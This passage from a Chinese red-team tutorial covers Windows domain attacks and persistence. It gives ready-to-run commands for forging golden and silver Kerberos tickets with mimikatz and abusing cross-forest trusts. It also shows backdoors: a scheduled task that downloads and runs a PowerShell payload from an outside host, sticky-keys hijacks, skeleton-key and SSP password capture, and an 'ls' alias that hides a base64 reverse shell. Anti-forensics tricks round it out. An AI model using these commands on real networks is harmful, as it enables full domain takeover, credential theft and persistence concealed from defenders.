或者使用以下命令获取 krbtgt 的 NTLM Hash ,域 SID 值,但该命令无法获取 AES-256 的值

1
2
privilege::debug
lsadump::lsa /patch /user:krbtgt

2.获取基本信息

获取域 SID

1
wmic useraccount get name,sid

这里得到 administrator 的 SID 为 S-1-5-21-284927032-1122706408-2778656994-500,即表示当前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994

获取当前用户的 SID

1
whoami /user

查询域管理员账号

1
net group "domain admins" /domain

查询域名

1
ipconfig /all

3.制作黄金票据

先将票据清空

1
kerberos::purge

生成票据

1
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi

传递票据并注入内存

1
kerberos::ptt Administrator.kiribi

4.验证权限

退出 mimikatz ,使用 dir 发现可以成功列出域控文件

imgimg

这里使用 PsExec 也同样是能获取到权限的,除了上面使用 NTLM Hash 之外,还可以使用 krbtgt 的 AES-256 值生成黄金票据

1
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi

命令完成之后,也会生成一个 Administrator.kiribi 文件,之后的操作就都一样了。

5.MSF 下的利用

首先上线一个普通用户,然后加载 kiwi 模块

1
load kiwi

生成黄金票据

1
golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket

将黄金票据注入内存

1
kerberos_ticket_use /root/administrator.ticket

注入成功后,进入 Shell 就能查看 dc 里的文件了

imgimg

八:白银票据

前言

白银票据(Sliver Ticket) 不同于黄金票据(Golden Ticket)

Kerberos 协议详解:https://teamssix.com/210923-151418.html

白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步,通过伪造的票据授予服务 TGS 生成伪造的服务票据 ST 直接与服务器 Server 进行交互。

白银票据与黄金票据的区别:

1.白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志

2.白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽,但白银票据的权限就远不如黄金票据的权限了

想利用白银票据需要先知道以下信息:

  • 域名
  • 域 SID
  • 目标服务器的 FQDN 即完整的域名
  • 可利用的服务
  • 服务账户的 NTLM 哈希
  • 伪造的用户名即任意用户名

1.伪造 CIFS 服务权限

CIFS 服务常用于 Windows 主机之间的文件共享,首先使用 mimikatz 获取服务账户的 NTLM 哈希,这里使用的 Username 为 DC$ 的 NTLM 哈希

1
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

得到 HASH 后,清空当前系统中的票据,防止其他票据干扰

1
2
3
4
5
klist purge

# 或者在 mimikatz 里清除

kerberos::purge

使用 mimikatz 生成伪造的白银票据

1
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit

imgimg

在伪造票据后,使用 dir 命令就能读取到目标的共享服务了。

2.伪造 LDAP 服务权限

首先判断当前权限是否可以使用 dcsync 域控进行同步

1
.\mimikatz.exe "lsadump::dcsync /dc:dc /domain:teamssix.com /user:krbtgt" exit

如果返回 ERROR 说明当前权限不能进行 dcsync 操作

接下来生成 LDAP 服务的白银票据

1
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:ldap /ptt" exit

imgimg

九:金票和银票的区别

1.获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

2.认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

3.加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

跨域攻击分析

前言

常见的跨域攻击方法有以下几种:

i.利用常规的渗透方法,比如 Web 漏洞

ii.利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的

iii.利用域信任关系

这里主要看第三种:域信任关系

当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。

域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。

域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递。

在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。

一:获取域信息

这里使用工具 lg 进行域内信息的收集,lg 是一款用 C++ 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。

枚举 teamssix 域中的用户组

1
lg.exe teamssix\.

枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系

1
lg.exe \\dc

枚举远程计算机的用户名

1
lg.exe \\dc -lu

枚举远程系统中全部用户的 SID

1
lg.exe \\dc -lu -sidsout

枚举远程系统指定组中的所有成员的 SID

1
lg.exe \\dc\administrators -lu -sidsout

二:利用域信任密钥获取目标域权限

这里环境信息为:

父域的域控:http://dc.teamssix.com

子域的域控:http://subdc.sub.teamssix.com

子域内的计算机:http://user4.sub.teamssix.com

子域内的普通用户:user4

在子域的域控中使用 mimikatz 获取需要的信息

1
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit

得到当前域的 SID .父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据

这里的 sids 是父域的 sid,sids 后的 519 表示创建的用户属于父域的管理员组

1
mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit

利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中

1
asktgs subdc_administrator.kirbi cifs/dc.teamssix.com

将获取的 TGS 票据注入到内存中

1
kirbikator lsa cifs.dc.teamssix.com.kirbi

使用 dir 访问目标域控

1
dir \\dc.teamssix.com\c$

imgimg

三:利用 krbtgt 散列值获取目标域的权限

如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。

首先获取当前子域和父域的 SID 值,可以使用以下工具或命令

1
2
3
4
wmic useraccount get caption,sid
whoami /user
adfind.exe -sc u:user4 | findstr Sid
Get-DomainSID sub.teamssix.com # PowerView 里的命令

接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可

1
mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

在子域普通用户权限的计算机中构造黄金票据

1
mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit

imgimg

四:利用无约束委派和 MS-RPRN 获取信任林权限

如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的哈希值。

假设这里获取了 http://teamssix.com 域的域控权限,且 http://0day.orghttp://teamssix.com 域有林信任关系

首先在 http://teamssix.com 的域控上监听身份认证请求

1
2
3
rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
interval: 用于设置监控的时间间隔
filteruser: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名

开启监听后,使用 SpoolSample 工具让 http://OWA2010SP3.0day.orghttp://dc.teamssix.com 发送身份认证请求

1
SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com

获得票据后,使用 rubeus 将票据注入内存

1
rubeus.exe ptt /ticket:<TGT 票据>

使用 mimikatz 获取目标的 krbtgt 散列值

1
mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0day\krbtgt" exit

接下来,构造黄金票据并将其注入内存,就能够获得 http://0day.org 域控的权限了

1
mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exi

权限维持

在本文中,将从Windows 主机后门.Windows 文件隐藏.域后门.Linux 后门.Linux 文件隐藏这五个方面去看红队中的权限维持。

注意:本系列侧重的是面,不是具体的点,因此文中不会面面俱到的谈论每个方法具体怎么利用,这里更加看着的是知识点的一个梳理。

img

一:Windows 主机后门

1.隐藏账号

这个是比较常见的创建后门的方法,直接建立一个隐藏账号

1
2
net user teamssix$ Passw0rd /add
net localgroup administrators teamssix$ /add

img

虽然使用 net user 是看不到这个账号的,但是在控制面板里可以看到,因此这种隐藏效果并不是很好

img

想要更好的隐藏效果,可以通过注册表克隆用户实现,只是操作起来比较繁琐,所以我这边写了一个利用注册表创建隐藏用户的小工具。

工具地址:https://github.com/wgpsec/CreateHiddenAccount

直接使用以下命令,就可以轻松的创建一个隐藏用户

1
CreateHiddenAccount.exe -u teamssix -p Passw0rd

img

创建完后,通过 net user 和控制面板等等都是看不到这个账号的

img

也可以拿来检查当前系统的隐藏账号

1
CreateHiddenAccount.exe -c

img

删除用户也很方便

1
CreateHiddenAccount.exe -d teamssix

img

2.计划任务

计划任务也是比较常见的权限维持方法,计划任务在 Win7 之前使用 at 命令,之后的系统中使用 schtasks 命令。

例如每小时执行一次 calc.exe

1
schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1

img

当系统空闲时,执行 CS 上线 PowerShell 脚本

1
schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1

除了使用系统自带命令外,还可以使用 PowerSploit 渗透测试框架里的 Persistence 模块自动创建计划任务后门。

3.shift 后门

这个也算是比较知名的后门方法了,直接使用 copy 命令即可

1
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y

如果提示访问被拒绝,可以在管理员权限下,加上 everyone 的权限再试试

1
cacls  C:\Windows\System32\sethc.exe  /T /E /G everyone:F

然后在登录界面按 5 下 shift 键就能打开 cmd 窗口了

img

使用注册表也可以

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

除了 按 5 下 shift 打开粘滞键的功能外,同样的道理,还可以使用辅助工具.放大镜.屏幕键盘等等。

辅助工具 utilman.exe

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

img

屏幕键盘 osk.exe

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

img

放大镜 Magnify.exe

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

img

4.组策略

新建一个 bat 文件,这里 bat 内容为 calc

使用 gpedit.msc 进入本地组策略,来到用户配置–》Windows设置–》脚本登录,点击浏览选择 bat 文件,当用户登录时就会触发这个 bat 文件。

img

5.注册表

在系统启动的注册表下添加恶意程序,这样当用户登录系统时,exe 就会被运行,或者将 exe 直接放到系统启动的文件夹里也是一样的道理

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Vmware Regg" /t REG_SZ /d "C:\Windows\System32\calc.exe" /f

img

6.服务自启动

直接使用命令创建服务

1
sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem

img

启动该服务

1
net start teamssix

img

虽然报错了,但其实是被执行的

img

只不过这种创建服务的方法隐藏性太弱,直接在服务里就能看到

img

可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务

1
sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

img

使用以下命令就能恢复

1
& $env:SystemRoot\System32\sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

7.nishang 后门

nishang 是一个 PowerShell 项目,里面集成了众多工具,其中包含有制作后门的工具,nishang 项目下载地址:https://github.com/samratashok/nishang

HTTP-Backdoor

1
2
3
cd nishang\Backdoors
Import-Module .\HTTP-Backdoor.ps1
HTTP-Backdoor -CheckURL http://192.168.7.1/1.txt -PayloadURL http://192.168.7.1/calc.ps1 -MagicString start -StopString stop

命令解释如下:

-CheckURL 如果检测地址存在,再执行 Payload 里的脚本

-PayloadURL 需要下载的 PowerShell 脚本地址

-StopString 判断存在 -CheckURL 返回的字符串,则停止执行

-MagicString 判断存在 -CheckURL 返回的字符串,则开始执行

这个脚本感觉是挺有意思的,该脚本会不断读取 CheckURL 的内容,这里设置的 MagicString 为 start,那么当 http://192.168.7.1/1.txt 内容为 start 的时候,就会执行 http://192.168.7.1/calc.ps1 脚本。

img

Add-ScrnSaveBackdoor

Add-ScrnSaveBackdoor 脚本可以帮助攻击者利用 Windows 的屏幕保护程序来安装一个隐藏的后门,该脚本需要管理员权限。

1
2
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -Payload "Powershell.exe calc"

img

当屏幕保护程序启动时,就会运行 Payload 里的内容

img

除了上面的两个脚本外,还有 Execute-OnTime 和 Invoke-ADSBackdoor

其中 Execute-OnTime 和 HTTP-Backdoor 脚本的使用方法相似,不过增加了定时启动脚本的功能。

Windows 下的制作后门方法当然不止上面这些,还有其他的比如进程注入.dll 劫持等等。

二:Windows 文件隐藏

1.文件属性

直接右击选择隐藏即可

img

如果想显示文件,就在文件夹选择中选择「显示隐藏的文件.文件夹和驱动器」就行了

img

也可以使用 attrib +s +a +h +r 命令

img

不过将下图中的两个选择设置成如图中的样子也就可以看到隐藏的文件了。

img

2.ADS

ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,创建一个数据交换流文件的方法很简单,命令为”宿主文件:准备与宿主文件关联的数据流文件”。

1
echo teamssix > CreateHiddenAccount_v0.2.exe:test.txt

使用 dir 是看不到的,使用 dir /r 才可以

img

如果想编辑该文件,可以使用 notepad 进行编辑

img

如果想执行 exe 文件,可以先创建一个快捷方式,再执行

1
2
3
type evil.exe > CreateHiddenAccount_v0.2.exe:evil.exe
mklink "C:\Users\test\Desktop\evillink.exe" "C:\Users\test\Desktop\CreateHiddenAccount_v0.2.exe:evil.exe" // 需要管理员权限
start evil.exe

另外如果想删除这个隐藏文件,需要删除宿主文件才行。

3.系统文件夹伪装

例如这里有一个 test 文件夹,将 test 命名为 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D},这时文件夹的图标就会变为「我的电脑」图标

img

使用 dir 可以看到里面的文件,但如果点击这个文件夹,就会真的进入到「我的电脑」界面里

img

下面是一些其他的常用标识符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
上帝模式.{ED7BA470-8E54-465E-825C-99712043E01C}
CLSIDexcel.{00020810-0000-0000-C000-000000000046}
word.{00020900-0000-0000-C000-000000000046}
media.{00022603-0000-0000-C000-000000000046}
CAB.{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
计划任务.{148BD520-A2AB-11CE-B11F-00AA00530503}
搜索-计算机{1f4de370-d627-11d1-ba4f-00a0c91eedba}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
控制面板.{21EC2020-3AEA-1069-A2DD-08002B30309D}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}
html.{25336920-03f9-11cf-8fd0-00aa00686f13}
mht.{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}
mshta.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
我的文档.{450D8FBA-AD25-11D0-98A8-0800361B1103}
XML.{48123bc4-99d9-11d1-a6b3-00c04fd91555}
回收站(满).{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}
回收站.{645FF040-5081-101B-9F08-00AA002F954E}
ftp_folder.{63da6ec0-2e98-11cf-8d82-444553540000}
网络和拨号连接.{7007ACC7-3202-11D1-AAD2-00805FC1270E}
写字板文档.{73FDDC80-AEA9-101A-98A7-00AA00374959}
Temporary Offline Files Cleaner.{750fdf0f-2a26-11d1-a3ea-080036587f03}
用户和密码.{7A9D77BD-5403-11d2-8785-2E0420524153}
Internet 临时文件.{7BD29E00-76C1-11CF-9DD0-00A0C9034933}
已下载的程序文件的清除程序.{8369AB20-56C9-11D0-94E8-00AA0059CE02}
公文包.{85BBD920-42A0-1069-A2E4-08002B30309D}
ActiveX 高速缓存文件夹.{88C6C381-2E85-11D0-94DE-444553540000}
mail.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}
历史记录.{FF393560-C2A7-11CF-BFF4-444553540000}
目录.{fe1290f0-cfbd-11cf-a330-00aa00c16e65}
Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}
Snapshot File.{FACB5ED2-7F99-11D0-ADE2-00A0C90DC8D9}
预订文件夹.{F5175861-2688-11d0-9C5E-00AA00A45957}
MyDocs Drop Target.{ECF03A32-103D-11d2-854D-006008059367}
Policy Package.{ecabaebd-7f19-11d2-978E-0000f8757e2a}
搜索结果.{e17d4fc0-5564-11d1-83f2-00a0c90dc849}
添加网上邻居.{D4480A50-BA28-11d1-8E75-00C04FA31A86}
Paint.{D3E34B21-9D75-101A-8C3D-00AA001A1652}
管理工具.{D20EA4E1-3957-11d2-A40B-0C5020524153}
字体.{D20EA4E1-3957-11d2-A40B-0C5020524152}
Web Folders.{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
DocFind Command.{B005E690-678D-11d1-B758-00A0C90564FE}
脱机文件夹.{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}

其他还有畸形文件夹.保留文件名无法删除和利用 Easy File Locker 实现驱动级文件隐藏等等,或者直接起一个看起来名称很像的文件,比如 Index.php 和 lndex.php,这里其中一个是大写的 i,一个是小写的 L

三:域后门

1.黄金票据

通过黄金票据可以实现域内任意用户的伪造,因此即使目标域管的密码被修改了,通过黄金票据还是能够获取到对方的权限。

在生成黄金票据前,需要先获取以下信息:

  • krbtgt 的 NTLM Hash 或 AES-256 值
  • 伪造的域管理员用户名
  • 完整的域名
  • 域 SID

其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。

在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。

使用 mimikatz 在域控上获取 krbtgt 用户的 NTLM HASH

1
mimikatz.exe "lsadump::dcsync /domain:teamssix.com /user:krbtgt" exit

img

从图中可以看到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087,SID 为 S-1-5-21-284927032-1122706408-2778656994

此时已知域名为 teamssix.com,那么这时所需要的信息就全了

接着来到一台普通域用户权限的主机下,查看 \dc\c$ 发现时拒绝访问的

img

制作黄金票据

1
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi

img

使用 mimikatz 进行票据传递

1
kerberos::ptt Administrator.kiribi

img

再次查看 \dc\c$ 发现时就有权限了

img

PsExec 也同样可以

img

2.白银票据

白银票据和黄金票据的区别如下:

1.白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志,因此白银票据更加隐蔽。

2.白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,所以白银票据的权限就远不如黄金票据的权限了。

想利用白银票据需要先具备以下信息:

  • 域名
  • 域 SID
  • 目标服务器的 FQDN 即完整的域名
  • 可利用的服务
  • 服务账户的 NTLM 哈希
  • 伪造的用户名即任意用户名

这里以伪造 CIFS 服务的权限为例:

CIFS 服务常用于 Windows 主机之间的文件共享,首先使用 mimikatz 获取服务账户的 NTLM 哈希,这里使用的 Username 为 DC$ 的 NTLM 哈希

1
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

利用获取到的 Hash 生成白银票据

1
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit

img

伪造票据后,使用 dir 命令就能获取到目标的 CIFS 服务权限了,除了 CIFS 服务外,还可以伪造 LDAP 等等服务。

3.SSP 权限维持

通过 SSP 权限维持,用户在登录时,密码将会以明文的形式保存在 C:\Windows\System32\mimilsa.log 下。

使用 mimikatz 将伪造的 SSP 注入内存,但如果域控重启,被注入内存的伪造 SSP 就会丢失。

1
2
privilege::debug
misc::memssp

img

注销当前用户,输入用户名密码后重新登录,就可以获取到明文密码了

img

也可以使用 mimikatz 中的 mimilib.dll 文件进行 SSP 权限维持,这种方法重启后也不会失效。

4.SID History 后门

每个用户都有自己的安全标识符即 SID,SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限.能够访问其原来可以访问的资源。

这里使用 mimikatz 将管理员的 SID 添加到普通用户的 SID History 中。

1
2
3
privilege::debug
sid::patch
sid::add /sam:test /new:administrator

img

使用 test 用户登录,可以看到已经拥有了管理员权限
img

5.万能密码

在域管权限下,使用 mimikatz 即可

1
.\mimikatz.exe "privilege::debug" "misc::skeleton" exit

img

此时,就可以在域内以任意用户的身份利用 mimikatz 密码进行登录了

1
net use \\dc\ipc$ "mimikatz" /user:teamssix\administrator

img

除了上面的方法外,还可以使用 DSRM 账号进行权限维持,也可以使用 Hook PasswordChangeNotify 脚本查看目标用户修改后的新密码。

四:Linux 主机后门

1.添加用户

一句话添加用户

1
useradd test;echo -e "123456\n123456\n" |passwd test

或者使用 openssl

1
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

2.SUID Shell

SUID Shell是一种可用于以拥有者权限运行的shell

以 root 用户权限执行下面的命令

1
2
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

在使用普通用户权限的时候,执行以下命令就能获取 root 权限

1
/tmp/shell -p

img

3.软链接

软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证,使用以下命令查看是否配置 PAM 认证

1
cat /etc/ssh/sshd_config | grep UsePAM

在目标主机上执行一句话后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

然后直接 ssh root@IP -p 8888,输入任意密码,就可以登录。

img

4.strace 后门

执行以下命令

1
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码.操作了,只是显示的不是很直观。

img

这个其实也可以说是 alias 后门,例如下面这条命令

1
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

上面的 base64 解码后为以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()

这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作。

除此之外,还有比较常见的定时任务.SSH 公钥登录以及 SSH warpper.openssh 后门.PAM 后门.rootkit 后门等等。

五:Linux 隐藏文件

1.隐藏文件时间戳

复制其他文件的时间

1
touch -r teamssix.txt evil.txt

img

自定义文件的时间,这里表示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒

1
touch -t 202201010101.01 evil.txt

img

2.隐身登录

隐身登录系统,不会被 w.who.last 检测到

1
ssh -T root@host /bin/bash -i

隐身登录系统,同时不保存公钥在本地的 .ssh 目录中

1
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

3.锁定文件

当文件被锁定时,是无法删除的

1
2
3
4
chattr +i evil.txt 锁定文件
lsattr evil.txt 属性查看
chattr -i evil.txt 解除锁定
rm -rf 1.evil.txt 删除文件

img

4.隐藏历史操作记录

临时禁用历史命令记录功能

1
set +o history

注意在 set 命令前有一个空格

如果想某条命令不记录到 history 中,直接在命令前加上空格就行

img

或者先 grep 看下要删除的文件行,再 -d 指定行即可删除

1
2
history | grep "key"
history -d 11

除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用.进程隐藏等等方法。